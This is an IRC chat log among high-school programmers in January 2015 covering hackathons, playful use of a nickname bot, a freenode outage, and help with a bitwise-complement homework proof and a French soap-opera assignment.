[2015-01-14T21:43:02-0500] <+Tamini> leaves
[2015-01-14T21:46:03-0500] <@awe> yup.
[2015-01-14T21:46:05-0500] <@awe> :(
[2015-01-14T21:46:09-0500] <@awe> LittleBobbyTables: bby pls
[2015-01-14T21:47:55-0500] <alokpathy> Lol remember when LBT +h'd the HSCTF IRC xD
[2015-01-14T21:50:05-0500] <+Tamini> lol
[2015-01-14T21:50:17-0500] <+Tamini> i miss those times
[2015-01-14T21:52:09-0500] <alokpathy> It's okay. Just a few more months.
[2015-01-14T21:57:52-0500] <+Tamini> lol
[2015-01-14T21:57:56-0500] <+Tamini> can i get auto halfop
[2015-01-14T21:57:59-0500] <+Tamini> on #hsctf
[2015-01-14T22:00:08-0500] <alokpathy> Not unless absolutely necessary
[2015-01-14T22:01:26-0500] <+Tamini> aw why D:
[2015-01-14T22:01:48-0500] <@awe> Jacob is going to be mad.
[2015-01-14T22:01:55-0500] <@awe> I got a haircut right before a programming competition again.
[2015-01-14T22:03:01-0500] <alokpathy> A big one?
[2015-01-14T22:03:27-0500] <alokpathy> Tamini: Because having a competitor be +h is kinda weird xD
[2015-01-14T22:04:16-0500] <+Tamini> pshh
[2015-01-14T22:04:18-0500] <+Tamini> no its not
[2015-01-14T22:04:21-0500] <+Tamini> you guys +h'd lbt
[2015-01-14T22:04:24-0500] <+Tamini> and lol
[2015-01-14T22:04:30-0500] <alokpathy> awe: Was the magnitude of this haircut like the PClassic one?
[2015-01-14T22:04:35-0500] <@awe> Well, no.
[2015-01-14T22:04:41-0500] <@awe> But it's fairly large.
[2015-01-14T22:04:43-0500] <alokpathy> Tamini: Only because there was this hour where nobody could be online
[2015-01-14T22:05:21-0500] <alokpathy> awe: Oh, dang.
[2015-01-14T22:05:23-0500] <alokpathy> Is this a tradition?
[2015-01-14T22:05:32-0500] <alokpathy> First PClassic -> haircut
[2015-01-14T22:05:37-0500] <alokpathy> First PennApps -> haircut
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[2015-01-14T22:36:52-0500] <LittleBobbyTables> I didn't halfop everyone :(
[2015-01-14T22:42:37-0500] <+alokpathy> Didn't you?
[2015-01-14T22:45:32-0500] <LittleBobbyTables> No
[2015-01-14T22:46:02-0500] <LittleBobbyTables> who's zrl
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[2015-01-15T00:36:27-0500] <zrl> LittleBobbyTables: seems like this is a popular topic
[2015-01-15T00:45:57-0500] <+Tamini> you're one of the admins of hshackers, arent you?
[2015-01-15T00:59:09-0500] <LittleBobbyTables> ohshit what a great line. "play their songs backwards, and you hear the devil laugh. Even worse, play it forward, and you hear Nickleback"
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[2015-01-15T07:47:54-0500] <+JacobEdelman> awe: you got a hair cut again? sigh....
[2015-01-15T07:48:10-0500] <+JacobEdelman> you're really determined to ruin me arn't you?
[2015-01-15T07:48:26-0500] <+JacobEdelman> I mean, who ever heard of samson, cutting his own hair, before a major fight?
[2015-01-15T08:14:36-0500] <+JacobEdelman> http://www.jacobedelman.com/fancy.html is now working
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[2015-01-15T10:16:59-0500] <The_Master> @whois awe
[2015-01-15T10:16:59-0500] <awebot> The_Master: awe is the devil.
[2015-01-15T10:17:08-0500] <The_Master> @iam The Master
[2015-01-15T10:17:08-0500] <awebot> The_Master: Got it!
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[2015-01-15T11:57:34-0500] <+JacobEdelman> @whois JacobEdelman
[2015-01-15T11:57:34-0500] <awebot> JacobEdelman: I don't know who JacobEdelman is.
[2015-01-15T11:57:42-0500] <+JacobEdelman> @iam JacobEdelman
[2015-01-15T11:57:42-0500] <awebot> JacobEdelman: Got it!
[2015-01-15T11:57:43-0500] <+JacobEdelman> @whois JacobEdelman
[2015-01-15T11:57:44-0500] <awebot> JacobEdelman: JacobEdelman is JacobEdelman
[2015-01-15T11:58:00-0500] JacobEdelman is now known as god
[2015-01-15T11:58:03-0500] <+god> @iam JacobEdelman
[2015-01-15T11:58:03-0500] <awebot> god: Got it!
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[2015-01-15T11:59:04-0500] <+JacobEdelman> @whois JacobEdelman
[2015-01-15T11:59:04-0500] <awebot> JacobEdelman: JacobEdelman is JacobEdelman
[2015-01-15T11:59:14-0500] <+JacobEdelman> ... ahhh foiled 
[2015-01-15T12:21:26-0500] <nezorg> @whois god
[2015-01-15T12:21:26-0500] <awebot> nezorg: god is JacobEdelman
[2015-01-15T12:21:28-0500] <nezorg> lol
[2015-01-15T12:21:43-0500] nezorg is now known as geohot
[2015-01-15T12:21:49-0500] <geohot> @iam nezorg
[2015-01-15T12:21:49-0500] <awebot> geohot: Got it!
[2015-01-15T12:21:55-0500] geohot is now known as nezorg
[2015-01-15T13:10:33-0500] <@awe> geohot == nezorg.
[2015-01-15T13:10:35-0500] <@awe> That one is factual.
[2015-01-15T13:12:42-0500] <+JacobEdelman> wait... it was supposed to be the other way around... oh well
[2015-01-15T13:12:50-0500] <+JacobEdelman> @iam god
[2015-01-15T13:12:50-0500] <awebot> JacobEdelman: Got it!
[2015-01-15T13:12:55-0500] <+JacobEdelman> @whois JacobEdelman
[2015-01-15T13:12:55-0500] <awebot> JacobEdelman: JacobEdelman is god
[2015-01-15T13:13:05-0500] <+JacobEdelman> much better
[2015-01-15T13:13:05-0500] <+JacobEdelman> hmmm...
[2015-01-15T13:13:42-0500] <+JacobEdelman> @whois nezorg
[2015-01-15T13:13:42-0500] <awebot> JacobEdelman: nezorg is a person who knows what happens in a canning factory.
[2015-01-15T13:14:17-0500] <+JacobEdelman> ...
[2015-01-15T13:15:30-0500] <@awe> :D
[2015-01-15T13:15:33-0500] <@awe> @whois awe
[2015-01-15T13:15:33-0500] <awebot> awe: awe is the devil.
[2015-01-15T13:15:41-0500] <@awe> Sounds about right.
[2015-01-15T13:16:20-0500] <@awe> @iam the Dark Lord of Strong, Static Typing and the Benevolent Dictator for Life of Pdgn.
[2015-01-15T13:16:21-0500] <awebot> awe: Got it!
[2015-01-15T13:18:33-0500] <+JacobEdelman> wait, no!
[2015-01-15T13:18:35-0500] <+JacobEdelman> no no no no no!!!
[2015-01-15T13:18:45-0500] <+JacobEdelman> its "pdgn" not "Pdgn"!
[2015-01-15T13:21:00-0500] <+JacobEdelman> also, all us pdgn people gots to make sure we get a room in pennapps
[2015-01-15T13:21:06-0500] <+JacobEdelman> there should be one room for all pdgn people
[2015-01-15T13:21:38-0500] <@awe> It's PdgnCo.
[2015-01-15T13:21:40-0500] <@awe> So, it's Pdgn.
[2015-01-15T13:21:58-0500] <@awe> The channel's name is #pdgn, but the network as a whole is Pdgn.
[2015-01-15T13:23:24-0500] <+JacobEdelman> no no no
[2015-01-15T13:23:27-0500] <+JacobEdelman> its PdgnCo
[2015-01-15T13:23:34-0500] <+JacobEdelman> but its pdgn
[2015-01-15T13:23:46-0500] <+JacobEdelman> we're weird that way
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[2015-01-15T13:27:34-0500] <+alokpathy> @iam JacobEdelman
[2015-01-15T13:27:34-0500] <awebot> alokpathy: Got it!
[2015-01-15T13:27:38-0500] alokpathy is now known as JacobEdelman
[2015-01-15T13:27:45-0500] <+JacobEdelman> @iam alokpathy
[2015-01-15T13:27:45-0500] <awebot> JacobEdelman: Got it!
[2015-01-15T13:27:47-0500] <+JacobEdelman> :P
[2015-01-15T13:49:53-0500] <nezorg> awe: did you see this? https://github.com/kmcallister/dynamodule
[2015-01-15T13:50:10-0500] <+JacobEdelman> http://www.jacobedelman.com/fancy.html
[2015-01-15T13:50:18-0500] <+JacobEdelman> updated with new content and prettier stuff
[2015-01-15T13:50:59-0500] <+JacobEdelman> nezorg, awe: why do you guys use rust over nim?
[2015-01-15T13:51:17-0500] <nezorg> safety and type system
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[2015-01-15T15:35:14-0500] <+JacobEdelman> zrl: I have to ask
[2015-01-15T15:35:18-0500] <+JacobEdelman> why the lack of css?
[2015-01-15T16:39:11-0500] <alokpathy> @whois nezorg
[2015-01-15T16:39:11-0500] <awebot> alokpathy: nezorg is a person who knows what happens in a canning factory.
[2015-01-15T16:39:17-0500] <alokpathy> @whois geohot
[2015-01-15T16:39:17-0500] <awebot> alokpathy: geohot is nezorg
[2015-01-15T16:39:20-0500] <alokpathy> Wow
[2015-01-15T16:39:22-0500] <alokpathy> I knew it all along
[2015-01-15T16:39:34-0500] <+JacobEdelman> @whois alokpathy
[2015-01-15T16:39:34-0500] <awebot> JacobEdelman: alokpathy is JacobEdelman
[2015-01-15T16:40:11-0500] <alokpathy> @iam love, alokpathy is life
[2015-01-15T16:40:11-0500] <awebot> alokpathy: Got it!
[2015-01-15T16:40:14-0500] <alokpathy> @whois alokpathy 
[2015-01-15T16:40:14-0500] <awebot> alokpathy: alokpathy is love, alokpathy is life
[2015-01-15T16:40:20-0500] <+JacobEdelman> ha
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[2015-01-15T17:28:12-0500] <The_Master> @iam my Master and your Master
[2015-01-15T17:28:12-0500] <awebot> The_Master: Got it!
[2015-01-15T17:31:33-0500] <The_Master> @whois The_Master
[2015-01-15T17:31:33-0500] <awebot> The_Master: The_Master is my Master and your Master
[2015-01-15T17:50:10-0500] <+hardmath123> @whois hardmath123 
[2015-01-15T17:50:10-0500] <awebot> hardmath123: hardmath123 is number four.
[2015-01-15T17:52:01-0500] <Tamini_> @whois Tamini
[2015-01-15T17:52:02-0500] <awebot> Tamini_: Tamini is a robot. beep boop
[2015-01-15T17:52:10-0500] <jwoglom> ugh freenode
[2015-01-15T17:52:16-0500] <jwoglom> netsplits
[2015-01-15T17:52:23-0500] <alokpathy> @whois alokpathy 
[2015-01-15T17:52:23-0500] <awebot> alokpathy: alokpathy is love, alokpathy is life
[2015-01-15T17:52:30-0500] <alokpathy> @whois alokpathy
[2015-01-15T17:52:30-0500] <awebot> alokpathy: alokpathy is love, alokpathy is life
[2015-01-15T17:52:43-0500] <jwoglom> @whois jwoglom
[2015-01-15T17:52:43-0500] <awebot> jwoglom: jwoglom is either a human or a robot, not sure, send help pls
[2015-01-15T17:52:47-0500] <jwoglom> oh yeah. forgot
[2015-01-15T17:53:01-0500] <alokpathy> My bet is robot.
[2015-01-15T17:53:43-0500] <jwoglom> Tamini_: am i a robot?
[2015-01-15T17:54:09-0500] <Tamini_> alokpathy=shrek?
[2015-01-15T17:54:12-0500] <Tamini_> jwoglom: maybe
[2015-01-15T17:54:38-0500] <+hardmath123> jwoglom: there was some maintainance going on on freenode.
[2015-01-15T17:54:41-0500] <jwoglom> i should really figure that out
[2015-01-15T17:54:45-0500] <alokpathy> Tamini_:Possibly
[2015-01-15T17:54:49-0500] <jwoglom> hardmath123: that was yesterday, they sent out a global msg
[2015-01-15T17:54:54-0500] <jwoglom> pretty sure this is unrelated
[2015-01-15T17:54:57-0500] <alokpathy> jwoglom: Take my word for it :P
[2015-01-15T17:56:00-0500] <jwoglom> alokpathy: i've never met you irl lol
[2015-01-15T17:56:14-0500] <+JacobEdelman> really?
[2015-01-15T17:56:17-0500] <jwoglom> if you can tell just based on text, then that's impressive
[2015-01-15T17:56:20-0500] <+JacobEdelman> you didn't do pclassic?
[2015-01-15T17:56:33-0500] <+JacobEdelman> also, turing test :P
[2015-01-15T17:56:40-0500] <jwoglom> i've never met any of the non-tj people in here :P
[2015-01-15T17:56:40-0500] <alokpathy> jwoglom: Irrelevant.
[2015-01-15T17:56:47-0500] <+JacobEdelman> wait, we were there
[2015-01-15T17:56:49-0500] <+JacobEdelman> I came over
[2015-01-15T17:56:50-0500] <alokpathy> (Tamini_ told me)
[2015-01-15T17:56:53-0500] <+JacobEdelman> and annoyed you guys
[2015-01-15T17:56:55-0500] <+JacobEdelman> both times
[2015-01-15T17:57:02-0500] <+JacobEdelman> I remember
[2015-01-15T17:57:04-0500] <jwoglom> alokpathy: okay, i'll take your word for it :P
[2015-01-15T17:57:06-0500] <+JacobEdelman> cause Tamini chased me away
[2015-01-15T17:57:08-0500] <+JacobEdelman> this time
[2015-01-15T17:57:32-0500] <Tamini_> my team doesnt like youuu
[2015-01-15T17:57:55-0500] <Tamini_> also woggles doesnt do computer team stuff
[2015-01-15T17:58:15-0500] <jwoglom> yeah i'm kinda lame
[2015-01-15T17:58:37-0500] <alokpathy> Wait so you weren't at PClassic?
[2015-01-15T17:58:50-0500] <jwoglom> nope, wasn't there
[2015-01-15T17:59:25-0500] <alokpathy> You should come :P
[2015-01-15T18:00:21-0500] <jwoglom> yeah maybe
[2015-01-15T18:00:39-0500] <Tamini_> spring season
[2015-01-15T18:00:40-0500] <Tamini_> <3
[2015-01-15T18:00:49-0500] <Tamini_> my goal is to never let JacobEdelman beat me at anything
[2015-01-15T18:00:54-0500] <+JacobEdelman> ...
[2015-01-15T18:01:04-0500] <+JacobEdelman> so, you're sacred?
[2015-01-15T18:01:06-0500] <+JacobEdelman> :P
[2015-01-15T18:01:11-0500] <Tamini_> until college, psh
[2015-01-15T18:01:16-0500] <Tamini_> and hm?
[2015-01-15T18:01:24-0500] <alokpathy> JacobEdelman: Lol that typo
[2015-01-15T18:01:30-0500] <+JacobEdelman> oh
[2015-01-15T18:01:35-0500] <+JacobEdelman> didn't notice it
[2015-01-15T18:01:37-0500] <+JacobEdelman> oops
[2015-01-15T18:01:53-0500] <Tamini_> lol
[2015-01-15T18:01:57-0500] <+JacobEdelman> I meant sacked
[2015-01-15T18:01:58-0500] <+hardmath123> jwoglom: dammit just got hit by the netsplit myself. :(
[2015-01-15T18:01:58-0500] <+JacobEdelman> :P
[2015-01-15T18:01:59-0500] <Tamini_> yes, i am sacred
[2015-01-15T18:02:01-0500] <Tamini_> duh
[2015-01-15T18:02:09-0500] <+JacobEdelman> netsplit?
[2015-01-15T18:02:20-0500] <+hardmath123> on freenode
[2015-01-15T18:02:29-0500] <jwoglom> JacobEdelman: on freenode, a bunch of servers disconnected
[2015-01-15T18:02:31-0500] <jwoglom> happens semi-often
[2015-01-15T18:02:42-0500] <alokpathy> Oh darn.
[2015-01-15T18:02:45-0500] <jwoglom> also yay fed cat is now happy
[2015-01-15T18:02:52-0500] <+hardmath123> and now i need to wait to be ping-timeouted so that i can get my nick back
[2015-01-15T18:02:54-0500] <+hardmath123> *sigh*
[2015-01-15T18:03:03-0500] <jwoglom> hardmath123: /msg nickserv ghost?
[2015-01-15T18:04:12-0500] <Tamini_> aww
[2015-01-15T18:04:16-0500] <Tamini_> yea
[2015-01-15T18:04:19-0500] <Tamini_> ghost yourself
[2015-01-15T18:04:28-0500] <alokpathy> boo
[2015-01-15T18:04:30-0500] <jwoglom> just don't get spooked
[2015-01-15T18:06:10-0500] <+hardmath123> i think
[2015-01-15T18:06:16-0500] <+hardmath123> NickServ is gone
[2015-01-15T18:06:30-0500] <+hardmath123> 15:07:24  freenode  -- | NickServ: No such nick/channel
[2015-01-15T18:06:41-0500] <jwoglom> lol i guess you're on the wrong side of the split
[2015-01-15T18:06:49-0500] <alokpathy> LOL
[2015-01-15T18:07:34-0500] <+hardmath123> so basically i'm fine as long as nobody tries to steal my nick and identify
[2015-01-15T18:07:36-0500] <+hardmath123> i think
[2015-01-15T18:08:58-0500] <+hardmath123> wait wait wait https://twitter.com/freenodestaff is broken too
[2015-01-15T18:09:11-0500] <+hardmath123> "something is technically wrong"
[2015-01-15T18:09:23-0500] <+hardmath123> AND their blog is throwing a CloudFare error
[2015-01-15T18:09:51-0500] <jwoglom> yup.
[2015-01-15T18:09:59-0500] <jwoglom> something screwed up, lol
[2015-01-15T18:10:07-0500] <+hardmath123> someone tripped over an important wire
[2015-01-15T18:10:22-0500] <jwoglom> probably another ddos
[2015-01-15T18:10:25-0500] <jwoglom> i'm connected to it fine right now
[2015-01-15T18:11:05-0500] <Tamini_> yea same
[2015-01-15T18:11:07-0500] <alokpathy> Aw the pico irc got netsplit
[2015-01-15T18:11:50-0500] <+hardmath123> well no useful info on /r/freenode
[2015-01-15T18:11:55-0500] <+hardmath123> i guess i'll have to wait out the storm
[2015-01-15T18:12:02-0500] • hardmath123: ruefully takes out his homework
[2015-01-15T18:12:19-0500] <alokpathy> The only way to get hardmath123 to do his homework :P
[2015-01-15T18:13:12-0500] <+hardmath123> actually, to this point, i still had my backpack on and everything.
[2015-01-15T18:15:06-0500] <alokpathy> How long were you out of school?
[2015-01-15T18:15:35-0500] <+hardmath123> 30min, but i was inside the house for like 30 seconds
[2015-01-15T18:16:25-0500] <alokpathy> Ah okay
[2015-01-15T18:16:37-0500] <alokpathy> If you were on the east coast this would be much weirder xD
[2015-01-15T18:16:43-0500] <alokpathy> You'd have your backpack on 3 hours after school ended
[2015-01-15T18:17:02-0500] <ubuntor> @whois shrek
[2015-01-15T18:17:02-0500] <awebot> ubuntor: I don't know who shrek is.
[2015-01-15T18:17:38-0500] <+hardmath123> awebot: perhaps you should make @whois only accept registered nicks?
[2015-01-15T18:19:37-0500] <The_Master> @whois awebot
[2015-01-15T18:19:37-0500] <awebot> The_Master: awebot is just your friendly neighborhood Spiderman.
[2015-01-15T18:20:33-0500] JacobEdelman is now known as friendly_neighborhood_Spiderman
[2015-01-15T18:20:45-0500] <+friendly_neighborhood_Spiderman> @iam awe in disguise
[2015-01-15T18:20:45-0500] <awebot> friendly_neighborhood_Spiderman: Got it!
[2015-01-15T18:20:52-0500] friendly_neighborhood_Spiderman is now known as JacobEdelman
[2015-01-15T18:21:10-0500] <The_Master> @whois 𝖺webot
[2015-01-15T18:21:10-0500] <awebot> The_Master: I don't know who 𝖺webot is.
[2015-01-15T18:22:20-0500] <The_Master> @whois 𝖺𝗐𝖾
[2015-01-15T18:22:20-0500] <awebot> The_Master: I don't know who 𝖺𝗐𝖾 is.
[2015-01-15T18:22:58-0500] <The_Master> @whois friendly_neighborhood_Spiderman
[2015-01-15T18:22:58-0500] <awebot> The_Master: friendly_neighborhood_Spiderman is awe in disguise
[2015-01-15T18:23:07-0500] <Tamini_> lol
[2015-01-15T18:23:15-0500] <Tamini_> also alokpathy
[2015-01-15T18:23:21-0500] <Tamini_> i havent started hw yet :3
[2015-01-15T18:23:33-0500] <The_Master> @whois alokpathy
[2015-01-15T18:23:33-0500] <awebot> The_Master: alokpathy is love, alokpathy is life
[2015-01-15T18:23:35-0500] <+JacobEdelman> hw does not exist since pennapps is tommorow
[2015-01-15T18:23:37-0500] <The_Master> @whois 𝖺lokpathy
[2015-01-15T18:23:37-0500] <awebot> The_Master: I don't know who 𝖺lokpathy is.
[2015-01-15T18:23:41-0500] <Tamini_> oh riiight
[2015-01-15T18:23:48-0500] <Tamini_> guys, have fun, okay? <3
[2015-01-15T18:23:51-0500] <Tamini_> glucj
[2015-01-15T18:23:53-0500] <Tamini_> gluck*
[2015-01-15T18:23:57-0500] <+JacobEdelman> (well, actually I'm gonna be in school for the full school day)
[2015-01-15T18:23:59-0500] <The_Master> @whois Tamini_
[2015-01-15T18:23:59-0500] <awebot> The_Master: I don't know who Tamini_ is.
[2015-01-15T18:24:04-0500] <alokpathy> JacobEdelman: We have math homework :P
[2015-01-15T18:24:05-0500] <+JacobEdelman> (buck I'm still ignoring school)
[2015-01-15T18:24:07-0500] <The_Master> @whois JacobEdelman
[2015-01-15T18:24:07-0500] <awebot> The_Master: JacobEdelman is alokpathy
[2015-01-15T18:24:13-0500] <+JacobEdelman> alokpathy: I know, I've done most of it
[2015-01-15T18:24:27-0500] <alokpathy> Did you do your APUSH homework?
[2015-01-15T18:24:39-0500] <alokpathy> That big packet he gave?
[2015-01-15T18:24:48-0500] <+JacobEdelman> ... you're just trolling me
[2015-01-15T18:25:00-0500] <alokpathy> huehuehue
[2015-01-15T18:25:34-0500] <+JacobEdelman> I almost had a heart attack
[2015-01-15T18:25:40-0500] <+JacobEdelman> you are a horrible person
[2015-01-15T18:25:45-0500] <+hardmath123> why does Schoololology think i want to open every single useful link in a new tab?
[2015-01-15T18:25:46-0500] <+JacobEdelman> apush is no laughing matter
[2015-01-15T18:25:50-0500] <+JacobEdelman> people have died 
[2015-01-15T18:26:03-0500] <+JacobEdelman> Schoololology?
[2015-01-15T18:26:37-0500] <+JacobEdelman> also, ben is off school again
[2015-01-15T18:26:39-0500] <+JacobEdelman> next week
[2015-01-15T18:26:45-0500] <+JacobEdelman> after one week of having school after brake
[2015-01-15T18:26:56-0500] <alokpathy> Yeah, Princeton is a strange place.
[2015-01-15T18:27:00-0500] <+JacobEdelman> agreed
[2015-01-15T18:27:34-0500] <alokpathy> They also have an abundance of squirrels.
[2015-01-15T18:28:43-0500] <+JacobEdelman> (you know something is wrong when you see a counter for a process's time going down than realize it's the rate counter that is steadily decreasing)
[2015-01-15T18:28:52-0500] <+JacobEdelman> alokpathy: tasty
[2015-01-15T18:29:57-0500] <+JacobEdelman> time left for tis process is increasing slowly
[2015-01-15T18:30:42-0500] <+JacobEdelman> *this
[2015-01-15T18:33:55-0500] <+hardmath123> oh god i have a loooot more homework than i initially thought
[2015-01-15T18:34:01-0500] <+hardmath123> i need to write a SOAP OPERA
[2015-01-15T18:34:43-0500] <jwoglom> [Global Notice] Hi all. Yes, it seems we erred with a firewall rule there. Everything should be back to normal now.
[2015-01-15T18:34:45-0500] <jwoglom> nice job freenode.
[2015-01-15T18:39:30-0500] <+JacobEdelman> okay, I have a question
[2015-01-15T18:39:47-0500] <+JacobEdelman> I'm copying stuff back on to my old computer which was just repaied
[2015-01-15T18:39:57-0500] <+JacobEdelman> it's 127.6 gb of stuff
[2015-01-15T18:40:05-0500] <+JacobEdelman> and since I started the process of copying
[2015-01-15T18:40:10-0500] <+JacobEdelman> the rate at which it is copying
[2015-01-15T18:40:15-0500] <+JacobEdelman> has decreased steadily
[2015-01-15T18:40:36-0500] <+JacobEdelman> (at -0.05 MB/sec/sec or so)
[2015-01-15T18:40:42-0500] <+JacobEdelman> .... any ideas why?
[2015-01-15T18:41:10-0500] <+JacobEdelman> (oh wait)
[2015-01-15T18:41:19-0500] <+JacobEdelman> (it seems to have found an equilibrium)
[2015-01-15T18:41:25-0500] <+JacobEdelman> and will finish in two hours...
[2015-01-15T18:41:33-0500] <+JacobEdelman> well, thanks for all the help guys ! :P
[2015-01-15T18:41:47-0500] <+JacobEdelman> hardmath123: sounds fun! can I be a character?
[2015-01-15T18:42:06-0500] <+hardmath123> Mais bien sur, cher jacob.
[2015-01-15T18:43:43-0500] <+JacobEdelman> Oui, Google a également traduire est utile
[2015-01-15T18:45:02-0500] <+JacobEdelman> latin optimus amo
[2015-01-15T18:45:49-0500] <+JacobEdelman> (ehhh... non verum)
[2015-01-15T18:45:56-0500] <Tamini_> lol
[2015-01-15T18:46:02-0500] <Tamini_> JacobEdelman: you hecked up a bit
[2015-01-15T18:46:09-0500] <+JacobEdelman> I don't actually know latin
[2015-01-15T18:46:10-0500] <+JacobEdelman> shhhh
[2015-01-15T18:46:14-0500] <nezorg> since when is latin latin for latin
[2015-01-15T18:46:16-0500] <+JacobEdelman> I just take it in school
[2015-01-15T18:46:20-0500] <+JacobEdelman> it's not
[2015-01-15T18:46:23-0500] <+JacobEdelman> I don't know latin
[2015-01-15T18:46:30-0500] <Tamini_> lol
[2015-01-15T18:46:32-0500] <+JacobEdelman> shhhh
[2015-01-15T18:46:34-0500] <Tamini_> latin latin latin
[2015-01-15T18:46:41-0500] <Tamini_> i have to go translate de bello gallico but
[2015-01-15T18:46:44-0500] <Tamini_> im so laaaazyyyy
[2015-01-15T18:46:48-0500] <+JacobEdelman> oh, wait
[2015-01-15T18:46:52-0500] <+JacobEdelman> I did something a bit like that
[2015-01-15T18:46:55-0500] <The_Master> @translate
[2015-01-15T18:46:56-0500] <+JacobEdelman> caesars stuff?
[2015-01-15T18:46:58-0500] <Tamini_> yeaa
[2015-01-15T18:47:01-0500] <Tamini_> its just all war
[2015-01-15T18:47:05-0500] <Tamini_> which sorta bores me
[2015-01-15T18:47:09-0500] <+JacobEdelman> oh, I did that ish... with the help of wiktionary
[2015-01-15T18:47:11-0500] <+JacobEdelman> gtg
[2015-01-15T18:47:31-0500] <jwoglom> gosh too lazy to look up the translation so that you don't have to translate it yourself
[2015-01-15T18:47:36-0500] <jwoglom> so lazy
[2015-01-15T18:47:41-0500] <+JacobEdelman> no, to ethical
[2015-01-15T18:47:47-0500] <+JacobEdelman> well, somewhat ethical
[2015-01-15T18:47:50-0500] <+JacobEdelman> *too
[2015-01-15T18:48:37-0500] <nezorg> hey guys
[2015-01-15T18:48:41-0500] <nezorg> I'm being really stupid here
[2015-01-15T18:48:45-0500] <nezorg> and can't figure out a hw problem
[2015-01-15T18:48:46-0500] <nezorg> halp me maybe?
[2015-01-15T18:49:32-0500] <nezorg> Let A be an N-bit binary number, B = ~A + 1, C = ~(A - 1); show that B = C
[2015-01-15T18:50:11-0500] <nezorg> Tamini_: yeah de bello gallico is boring
[2015-01-15T18:50:30-0500] <Tamini_> uhh
[2015-01-15T18:53:18-0500] <+JacobEdelman> nezorg: hmmm
[2015-01-15T18:53:24-0500] <+JacobEdelman> so... ~ is not I assume?
[2015-01-15T18:53:33-0500] <nezorg> ~ is flip bits
[2015-01-15T18:53:42-0500] <Tamini_> i would prove for general case ~(A+B) = ~A-~B
[2015-01-15T18:53:45-0500] <+JacobEdelman> thats what I mean
[2015-01-15T18:53:52-0500] <+JacobEdelman> I agree with Tamini I think
[2015-01-15T18:53:58-0500] <Tamini_> i forget all my bitwise logic properties :(
[2015-01-15T18:54:06-0500] <+JacobEdelman> I never leaned any
[2015-01-15T18:54:12-0500] <+JacobEdelman> we don't have that kinda thing in my school
[2015-01-15T18:54:15-0500] <+JacobEdelman> :(
[2015-01-15T18:54:42-0500] <nezorg> Tamini_: the weird thing is that we're not told what the negative representation is
[2015-01-15T18:54:50-0500] <nezorg> JacobEdelman: neither do we :P
[2015-01-15T18:54:52-0500] <+JacobEdelman> ~A= [log(A)]-A
[2015-01-15T18:54:55-0500] <+JacobEdelman> so....
[2015-01-15T18:54:59-0500] <nezorg> this is a ucsb class
[2015-01-15T18:55:06-0500] <+JacobEdelman> B= [log(A)]-A+1
[2015-01-15T18:55:06-0500] <Tamini_> uh
[2015-01-15T18:55:15-0500] <Tamini_> im pretty sure it's two's complement right
[2015-01-15T18:55:29-0500] <nezorg> we've looked at 2's complement, 1's complement, and signed magnitude
[2015-01-15T18:55:30-0500] <+hardmath123> Tamini_: wait that doesn't make sense; if  ~(A+B) = ~A-~B then ~(B+A) = ~B-~A...
[2015-01-15T18:55:35-0500] <+JacobEdelman> C= [log(A-1)]-A+1
[2015-01-15T18:55:41-0500] <Tamini_> yeah hardmath123
[2015-01-15T18:55:50-0500] <Tamini_> hmm
[2015-01-15T18:56:05-0500] <+JacobEdelman> (my thing works , log is log base 2, [ ] is smallest int larger than)
[2015-01-15T18:56:19-0500] <+hardmath123> depending on how hard you want to think, you could probably casework-bash this in a reasonable amount of time/space.
[2015-01-15T18:56:21-0500] <Tamini_> oh you're flooring things
[2015-01-15T18:56:29-0500] <+JacobEdelman> now, just prove for the special case where [log(A-1)] != [log(A)] and you are done
[2015-01-15T18:56:32-0500] <+JacobEdelman> Tamini_: yeah
[2015-01-15T18:56:37-0500] <+JacobEdelman> okay, thats pretty much a proof
[2015-01-15T18:56:40-0500] <+JacobEdelman> I'm happy
[2015-01-15T18:56:44-0500] <+JacobEdelman> now I'm gonna go and eat
[2015-01-15T18:56:45-0500] <+JacobEdelman> gtg
[2015-01-15T18:56:48-0500] <Tamini_> its very handwavy
[2015-01-15T18:56:57-0500] <Tamini_> and yeah
[2015-01-15T18:57:10-0500] <Tamini_> oh, wait this might not be too bad
[2015-01-15T18:57:14-0500] <nezorg> JacobEdelman: do you mean 2^log(A) ?
[2015-01-15T18:57:34-0500] <nezorg> oh
[2015-01-15T18:57:41-0500] <Tamini_> number of consecutive 0s at the end
[2015-01-15T18:57:50-0500] <Tamini_> is the only thing that matters
[2015-01-15T18:58:10-0500] <Tamini_> this might actually be pretty simple
[2015-01-15T18:58:13-0500] <Tamini_> proposed solution:
[2015-01-15T18:58:52-0500] <Tamini_> B = ~A + 1, C = ~(A - 1); show that B = C
[2015-01-15T18:59:17-0500] <Tamini_> let n be the number of 0's at the end of A
[2015-01-15T18:59:43-0500] <Tamini_> ~A+1 ends up being ~A with the last N+1 digits flipped
[2015-01-15T19:00:13-0500] <Tamini_> A-1 is A with the last N+1 digits flipped
[2015-01-15T19:00:40-0500] <Tamini_> ~(A-1) clearly equals ~A+1
[2015-01-15T19:05:11-0500] <+hardmath123> while we're all being helpful with homework, someone give me a plot for a soap opera which is simple enough for me to write in French
[2015-01-15T19:05:17-0500] <Tamini_> uhh
[2015-01-15T19:05:27-0500] <Tamini_> i think you could write my love life into a soap opera B)
[2015-01-15T19:05:28-0500] <Tamini_> hmm
[2015-01-15T19:05:31-0500] <nezorg> a libertarian has a great idea
[2015-01-15T19:05:35-0500] <nezorg> an anonymous online market
[2015-01-15T19:05:38-0500] <nezorg> where you can buy drugs
[2015-01-15T19:05:48-0500] <Tamini_> lol
[2015-01-15T19:05:49-0500] <nezorg> he has some success
[2015-01-15T19:05:57-0500] <nezorg> works out well for a couple years
[2015-01-15T19:06:03-0500] <nezorg> but he gets kinda dumb
[2015-01-15T19:06:10-0500] <nezorg> and is eventually caught by the feds
[2015-01-15T19:06:18-0500] <nezorg> thus, we have our backstory
[2015-01-15T19:06:24-0500] <nezorg> now the soap opera is the court battle
[2015-01-15T19:06:33-0500] <+hardmath123> i don't know the word for liberatrian. or anonymous.
[2015-01-15T19:06:44-0500] <+hardmath123> or online.
[2015-01-15T19:06:52-0500] <+hardmath123> surprisingly, i think i can say "drug market"
[2015-01-15T19:07:09-0500] <nezorg> libertarian = libertaire
[2015-01-15T19:07:20-0500] <nezorg> anonymous = anonyme
[2015-01-15T19:07:39-0500] <Tamini_> lol
[2015-01-15T19:07:45-0500] <+hardmath123> i think i'll do tamini's love life
[2015-01-15T19:07:58-0500] <Tamini_> how do you know "drug market" is the question
[2015-01-15T19:08:06-0500] <+hardmath123> easier vocabulrary
[2015-01-15T19:08:12-0500] <Tamini_> and hardmath123: its a good soap opera plot if i say so myself ;)
